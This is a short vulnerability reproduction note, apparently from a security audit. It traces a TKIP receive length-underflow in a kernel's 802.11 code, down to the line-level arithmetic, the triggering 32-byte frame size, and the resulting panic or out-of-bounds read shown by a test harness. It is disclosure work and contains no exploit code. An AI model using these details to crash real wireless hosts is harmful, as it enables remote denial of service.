REPRODUCED (code-level proof). The TKIP RX length-underflow in sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c is real and deterministic. ieee80211_crypto_decap (ieee80211_crypto.c:598) enforces only the WEP 32-byte floor, never adjusted for the cipher's ic_header/ic_trailer/ic_miclen (ieee80211_crypto.h:177-179, all u_int); tkip_decap (:265) does no length check before calling tkip_decrypt (:324). At tkip_decrypt line 994 the expression m->m_pkthdr.len (int, mbuf.h:159) - (hdrlen + tkip.ic_header + tkip.ic_trailer) mixes int with u_int: for a 32-byte frame the int is promoted to unsigned and 32-36 wraps to 0xFFFFFFFC, widened to size_t and passed as data_len to wep_decrypt (:663). In wep_decrypt off=m_len=32 so buflen=0, the inner loop runs zero times, m_next is NULL, and KASSERT(data_len==0) at :698 fires -> panic on the default INVARIANTS kernel (X86_64_GENERIC:56 builds INVARIANTS; systm.h:95 makes KASSERT=panic). The harness embeds wep_decrypt VERBATIM and replicates the exact line-994 arithmetic: the INVARIANTS build hits the KASSERT and aborts ('panic: out of buffers with data_len 4294967292', exit 134); the NO_INVARIANTS build places the frame buffer at a page boundary with a guard page after it and the ICV *pos++ check at :717 reads the guard page -> SIGSEGV (OOB read, CWE-125/787). Same bug class in tkip_demic (:357-360) via michael_mic/m_copydata. This KVM guest has no wifi radio/wlan kld (ifconfig -l => vtnet0 lo0), so the runtime 802.11 RX path is unreachable here; the code-level harness is the faithful proof, mirroring the DF-0265 precedent. Ceiling is a remote unauthenticated single-frame DoS (read bytes only feed an ICV inequality check); no path to code exec or privesc.